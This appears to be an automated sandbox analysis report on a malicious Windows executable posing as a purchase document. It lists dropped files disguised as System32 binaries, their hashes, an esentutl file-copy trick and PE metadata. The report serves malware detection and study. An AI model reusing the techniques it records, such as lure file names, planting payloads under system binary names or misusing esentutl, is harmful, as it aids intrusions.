SSDEEP:	12288:ajkyoXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:aIyosqjnhMgeiCl7G0nehbGZpbD
MD5:	7AE7553BA674284A076D19A633F7EFF0
SHA1:	1575FD05F276CF7DB410BA80BAFC5CA1963373CA
SHA-256:	3237C3D4C11470E4660ADD504B31ACF71F7C5A2E9A9F2163BDB7BFC999E3BE3E
SHA-512:	6C8D04B36B46883CD84DAFCD9A118015E30784B9E1A52BB875707389578C2DD20ED3103BD9AE1C44688B894027F15F728F57AFF8DA0A33A1E70997B347EDBEF9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Voq.Voq.Voq.B.r.Uoq.B.u.Coq._..}oq.B.p.^oq.Vop..oq.B.y.Noq.B.t.Roq.B...Woq.B.s.Woq.RichVoq.........................PE..d......D.........."......h..........0i.........@.......................................... ..........@.............................................. ..xx......p...................`...T...........................@...............X...........@....................text....g.......h.................. ..`.rdata..pO.......P...l..............@..@.data....)..........................@....pdata..p...........................@..@.didat.. ...........................@....rsrc...xx... ...z..................@..@.reloc...P.......@...B..............@...................................................................................................................................................................................................................

C:\Windows\System32\msiexec.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1199616
Entropy (8bit):	5.083881934987249
Encrypted:	false
SSDEEP:	12288:D4DuXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:uusqjnhMgeiCl7G0nehbGZpbD
MD5:	F80F4E42442149BE21C33A6CFB745A9B
SHA1:	56031F6B78EF37E74DD1A8ADADB40684B52F5E63
SHA-256:	616BBC2C07D1B4022B655007EE9FBAC46EC13E36A526BB406363381913206E61
SHA-512:	F1AD8BB2F2215108CB5D6129928F2A424784B70649E8D9367151F535E351C5681CCE6EC13C12BC99393F96BDA0D8C1F4465D19B17BD81BFD2192982DE5985CF5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................8..............................Rich............PE..d................"...........................@.......................................... .......... ......................................8........@....... ..........................T.............................................. .......@....................text...!........................... ..`.rdata..:7.......8..................@..@.data....$..........................@....pdata....... ......................@..@.didat.......0......................@....rsrc........@... ..................@..@.reloc...P...`...@..................@...........................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1146880
Entropy (8bit):	5.0275745281626385
Encrypted:	false
SSDEEP:	12288:G9KXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:cKsqjnhMgeiCl7G0nehbGZpbD
MD5:	9E84CEFC497519C8483A6623FAD6ED3D
SHA1:	D4E217AF8B73C7673BCC9F548E55E9B06044CFDD
SHA-256:	BF24E76F12FDD69ED7550A5A632E31B882EA335B77E534A125C78336FF3CC4C7
SHA-512:	20CEE389D607C89DCA6B90AF7134C818B5D2FC86E032B5B9B924CCF712BD4733324A69148257E8CB6BCD5CE49335F9D2EA9150E57952A90D756D44CE40BA1647
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^m.^?..^?..^?..JT.._?..JT..\?..JT..M?..JT..W?..^?...?..JT..\?..JT.._?..JT.._?..Rich^?..................PE..d....Ou..........."...... ...&......`'.........@.......................................... .......... ......................................l8..d....`.......P..,...................p4..T............................0..............(1..X............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..,....P.......6..............@..@.rsrc........`.......8..............@..@.reloc...P...p...@...@..............@...........................................................................................................................................................................................................................................................................

C:\Windows\System32\vds.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1303552
Entropy (8bit):	7.17152935485563
Encrypted:	false
SSDEEP:	24576:6Z0FxT1UoYr99GdcpKDsqjnhMgeiCl7G0nehbGZpbD:awWcHDmg27RnWGj
MD5:	680F459932662444F71FD678EBDF4171
SHA1:	546B290480A2DE723EC37C1E220E1DE78BF5FE10
SHA-256:	FD894DE64E1F3B095C2598DEB789B174CBE575B1C17E455C9EC70153C37B7B37
SHA-512:	5145046CF1165B5573089BF3BBD6ECDAF977BF713BFD1DBB690A891226052C3B01FF33925A0E108766978CE452D45A582E0CD35A490755B3C0A0D13AB3A336B6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0..c..c..c..uc...c...b..c...b..c...b..c...b..c..cR..c...b...c...b..c...c..c...b..cRich..c................PE..d................."..........6......@..........@.............................@.......W.... .......... ..................................8#......H....@...........,...................s..T...........................` ..............x!.......{.......................text............................... ..`.rdata..............................@..@.data...............................@....pdata...,..........................@..@.didat.......0......................@....rsrc........@......................@..@.reloc.......P......................@...................................................................................................................................................................................................................

C:\Windows\System32\wbem\WmiApSrv.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339392
Entropy (8bit):	5.269275998470314
Encrypted:	false
SSDEEP:	12288:PyoKo2fRple9pAXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DB9:PyocJApAsqjnhMgeiCl7G0nehbGZpbD
MD5:	F0B46EB736FF9F031B20DBC806736CBC
SHA1:	87376D5AD65A70FC9855406402A04532D8E374E6
SHA-256:	7A617F7A95DB13876451136FBEF82A5867610129FBB97F5E190835CED651AD2A
SHA-512:	2B9D1F0867BCAD7363976C8FC1FA8D017D96E5D42165FF86B07171597A850AC940B2296B161C2B33FDE3537344412FE2D76B05F6E1FDE8C00FD2653D6099DD83
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........N]...]...]...T...k...I..^...I..J...]...T...I..Z...I..W...I..h...I..\...I.n.\...I..\...Rich]...........................PE..d...&Gf..........."..........Z......0..........@.....................................N.... .......... ..............................0....%......0....`.. ....0.......................B..T...................h...(...P.......................$........................text...?........................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ..................@..@.didat..(....P.......$..............@....rsrc... ....`.......&..............@..@.reloc...P...p...@...0..............@...........................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2164736
Entropy (8bit):	7.062018620364253
Encrypted:	false
SSDEEP:	49152:EWcnPqQUGpuphwC0DNLDpaRFXrLuWGMKCIKQDmg27RnWGj:u0zuNIcD527BWG
MD5:	9BFD3EAD3D7CAB859F5ACBEE167740B3
SHA1:	DEADA76D7E1BBA474CED79C65A97E96E4114D800
SHA-256:	7C36F8947992FE5AF578F47654410485005EBF46D41CD1710BB867BEAF13CDF3
SHA-512:	E839A05C68C8C919062F6174B1CF7FF999B32C6A913891792CE7AAE1F54A9965BD38ACA2219C4068AA5368112FB5D715C61A45A75892D12E924C00CC6E532CED
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............M...M...M..L...M..L...M..L...M..L...M...My..M..L4..M..L...M..pM...M..L...MRich...M........PE..d....c..........."..........`...... ..........@.............................`!......Z!... .......... ...............................z......h...\|....`...........w..................p...T...................x...(...`................................................text............................... ..`.rdata..............................@..@.data....%..........................@....pdata...w.......x..................@..@.rsrc........`......................@..@.reloc.......p.......(..............@...........................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDevice.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09980532201271851
Encrypted:	false
SSDEEP:	6:svuSc63l/k/uMclF6vMclFq5zUbm1tNOn+SkUeYDwDzym0uScjj:svul6V/kqF69Fq5z9vO+pawHym0ulf
MD5:	F597898498EEFC86B6B601492B4C8192
SHA1:	96FB19E29F9D39B0ED2A64BCD1FC39E3F668912B
SHA-256:	238ECDE4DF0A01293DA7472DEC3374EC3E1B6B4BD0B1D9B8C116AD27BCE12DDF
SHA-512:	EBF5BC88520919DF4973C4DA71476CF088200BDD954AE22239FF471F793F62778DCF0018BCEF9D0137CC9CE9F38096B0B26E7BFC7587D3F36DA9FAE759CAE23F
Malicious:	false
Reputation:	unknown
Preview:	....`...`.......................................`...!......................................i....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................X.Pl............Q...J..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...e.t.l...........P.P............i....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDeviceHeT.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10132013151562051
Encrypted:	false
SSDEEP:	6:Vl6RC3l/k/uMclF6vMclFq5zU7NEtNMu3n+SkUeYDwDzyMhrb:Vl6RCV/kqF69Fq5zSEvX+pawHysf
MD5:	FBDE7D1C96E11A8DB86D01102845F32A
SHA1:	C3FE52AFB49BEF79EDEA0ED8E754A73C529D8681
SHA-256:	435E93E841E468B91E5820000C4D84B710B4233CB76230E02A24C2DBE2AFE43E
SHA-512:	B24E0C90D913C5BF7F5A61C15D3C32EED011AF60BC9D940B34D3EC809F4702131A07921AAC6C171963A08A29C98C9D6F0DEDF62E77B7D0351003C973225ECBEE
Malicious:	false
Reputation:	unknown
Preview:	....h...h.......................................h...!......................................i....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................X.Pl................J..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...e.t.l.......P.P............i............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicShell.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09837574328458057
Encrypted:	false
SSDEEP:	6:uV0JY3Nk/uMclF6vMclFq5zUR/tNIn+SkUeYDwDzy7JBr:uyJY9kqF69Fq5zK/vI+pawHy7Jl
MD5:	56128C0E82F8FCED62D77713FA9F5BB3
SHA1:	54F2ED41AB5BBE6829290962FB18EB09BFC7839C
SHA-256:	4547A48C746412F69281732C1667266399E74C5D78CE0FE5DD66DDF82DDBC2E5
SHA-512:	432F50A4DD4D49AC65A75BD476B6A21DF6059170CFDFD8018E632AC45F37CE7C2F85B65A05A7A8B27831E3AB32BBFA3B57F66AE3D1A850A205B8B7F02400FEA5
Malicious:	false
Reputation:	unknown
Preview:	....X...X.......................................X...!....................................?.i....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................X.Pl................J..........H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.S.h.e.l.l...e.t.l.......P.P..........?.i............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	Microsoft HTML Help Project
Category:	dropped
Size (bytes):	869
Entropy (8bit):	4.8858245776382505
Encrypted:	false
SSDEEP:	24:pXGEx9BHMlTDQ49+EHM2dGiRzu2DIJOlk3R6:5j7WTDCERD
MD5:	EE98BC909AC68E27D8BF76D2E745D6B2
SHA1:	DB3127D8E708C27327FE56707242E0545CCA78B2
SHA-256:	78EC75C0FD5795639581FA9A2CB4DF5E4D50EA3FE77DFF590EA0FF1D38610218
SHA-512:	BA606FFDEE32EC50E52E5E42BBC9F3EE2E846CA31A3E950F05B7C31941071C258F7EB01412D73FC0605265C32416A57B1593E8AFA41A94D6C323D53F51B16858
Malicious:	false
Reputation:	unknown
Preview:	..Usage Error: Invalid argument 'REQUIRED'. Options must be preceded by '-' or '/'.....Extensible Storage Engine Utilities for Microsoft(R) Windows(R)..Version 10.0..Copyright (C) Microsoft Corporation. All Rights Reserved.....DESCRIPTION: Database utilities for the Extensible Storage Engine for Microsoft(R) Windows(R).....MODES OF OPERATION:.. Defragmentation: /d <database name> [options].. Recovery: /r <logfile base name> [options].. Integrity: /g <database name> [options].. Checksum: /k <file name> [options].. Repair: /p <database name> [options].. File Dump: /m[mode-modifier] <filename>.. Copy File: /y <source file> [options]....<<<<< Press a key for more help >>>>>..D=Defragmentation, R=Recovery, G=inteGrity, K=checKsum,..P=rePair, M=file duMp, Y=copY file..=>

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.5384355284379145
Encrypted:	false
SSDEEP:	12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5B4aYA/4TB8NGNt:/p4xT5cp7u0wQakB4aV4t8N2
MD5:	7E4D38978C26AF4C0157FD5D3C46280A
SHA1:	545DE154C384AC385669E28B9099DB7B9AC35B3A
SHA-256:	3E66CA31F5323DBEFB46A604620A3EA38767E31382DE36A42C2C1C7A38D5C1A8
SHA-512:	FFAE5B123BFA65B070F8DD2EFA5F9996C8D7A416CEF54005AD00CFD90D2518B6FEB49C3843C93B48D9E9B53775CE31EC087970F85E4B0974EC37D9D5A0DE57D6
Malicious:	false
Reputation:	unknown
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Desusertion File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x4a00 (18944) (0 MB)....Total bytes written = 0x5000 (20480) (0 MB).......Operation completed successfully in 0.157 seconds.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9809492769682215
TrID:	Win32 Executable (generic) a (10002005/4) 93.60% Win32 Executable Borland Delphi 7 (665061/41) 6.22% Windows Screen Saver (13104/52) 0.12% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	PURCHASE REQUIRED DETAILS 000487958790903403.exe
File size:	1'264'128 bytes
MD5:	cbeea46a413d2f3d7166104d79788062
SHA1:	6bca74ac8ef6b5a5377dbd0cac8ce783dda2b080
SHA256:	5250d7820ffe465180b022c710bb170b02d1aeb8fbb4c530c5e039d4259009ef
SHA512:	34d3cbbf686869bf5e0c69239f50ebe93d85feff13298afe14d6de6afae7112d3aa4ef64b14d7fe48768c740c635500d2180e709b57494f264853dafc5642b99
SSDEEP:	24576:zPMPVEhH8frMNVO1wyWYVtcqqvHP7R3Eb1v7kcER8:zPUyOShq0HFA7zER8
TLSH:	31459E36E3D2D531E39611340C3AE79C1429BE10DE94AC7ADBF938985F35EB0A62D172
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	58fad8c9c7c1c143

Static PE Info

General

Entrypoint:	0x487840
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	527a63fb749f250b3291f735431fb926

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004867D8h
call 00007FF864C38C69h
mov eax, dword ptr [0051B2ECh]
mov eax, dword ptr [eax]
call 00007FF864C940D1h
mov ecx, dword ptr [0051B200h]
mov eax, dword ptr [0051B2ECh]
mov eax, dword ptr [eax]
mov edx, dword ptr [0048290Ch]
call 00007FF864C940D1h
mov eax, dword ptr [0051B2ECh]
mov eax, dword ptr [eax]
call 00007FF864C94145h
call 00007FF864C36C00h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x120000	0x2a1e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12e000	0xf200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x125000	0x88c8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x124000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1207cc	0x68c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x85a20	0x85c00	32914a4ae2038f195450841770cfb2b5	False	0.5154661945093458	data	6.527570967979339	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x87000	0x888	0xa00	ff65773b408a6dc6b42c471ec6f6063a	False	0.539453125	data	5.685670077449999	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x88000	0x93498	0x93600	c9befc6195b5e609db66a54f059536ca	False	0.4011526585029686	data	6.496383668365439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x11c000	0x3708	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x120000	0x2a1e	0x2c00	87b19ddb7d0c017a45db353e65e9290d	False	0.30619673295454547	MIPSEB-LE MIPS-III ECOFF executable stripped - version 0.18	5.068542061868325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x123000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x124000	0x18	0x200	2f07acfeab4d52fe1003c0710394a5a6	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "R"	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x125000	0x88c8	0x8a00	762a2311f796f314f61681486f1d5d98	False	0.5990432518115942	data	6.657135448984252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x12e000	0xf200	0xf200	4ecb43381651e0db8543533c7e3680da	False	0.3708354855371901	data	6.181511046885612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x12eb78	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x12ecac	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x12ede0	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x12ef14	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x12f048	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x12f17c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x12f2b0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x12f3e4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x12f5b4	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x12f798	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x12f968	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x12fb38	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x12fd08	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x12fed8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x1300a8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x130278	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x130448	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x130618	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x130700	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 15118 x 15118 px/m			0.5735815602836879
RT_ICON	0x130b68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 15118 x 15118 px/m			0.40081967213114755
RT_ICON	0x1314f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 15118 x 15118 px/m			0.2732176360225141
RT_ICON	0x132598	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 15118 x 15118 px/m			0.1770746887966805
RT_ICON	0x134b40	0x1c9f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9593285109867613
RT_DIALOG	0x1367e0	0x52	data			0.7682926829268293
RT_DIALOG	0x136834	0x52	data			0.7560975609756098
RT_STRING	0x136888	0x380	data			0.3716517857142857
RT_STRING	0x136c08	0x324	data			0.4564676616915423
RT_STRING	0x136f2c	0x9c	data			0.717948717948718
RT_STRING	0x136fc8	0xec	data			0.6271186440677966
RT_STRING	0x1370b4	0x1a4	data			0.5357142857142857
RT_STRING	0x137258	0x440	data			0.38235294117647056
RT_STRING	0x137698	0x39c	data			0.38961038961038963
RT_STRING	0x137a34	0x390	data			0.40789473684210525
RT_STRING	0x137dc4	0x40c	data			0.3783783783783784
RT_STRING	0x1381d0	0x118	data			0.5214285714285715
RT_STRING	0x1382e8	0xcc	data			0.6029411764705882
RT_STRING	0x1383b4	0x208	data			0.5096153846153846
RT_STRING	0x1385bc	0x398	data			0.32608695652173914
RT_STRING	0x138954	0x38c	data			0.3876651982378855
RT_STRING	0x138ce0	0x294	data			0.42424242424242425
RT_RCDATA	0x138f74	0x10	data			1.5
RT_RCDATA	0x138f84	0x304	data			0.7007772020725389
RT_RCDATA	0x139288	0x3d9b	Delphi compiled form 'TfmMain'			0.29928349502250967
RT_GROUP_CURSOR	0x13d024	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x13d038	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x13d04c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13d060	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13d074	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13d088	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13d09c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x13d0b0	0x4c	data			0.8289473684210527

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsMenu, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, 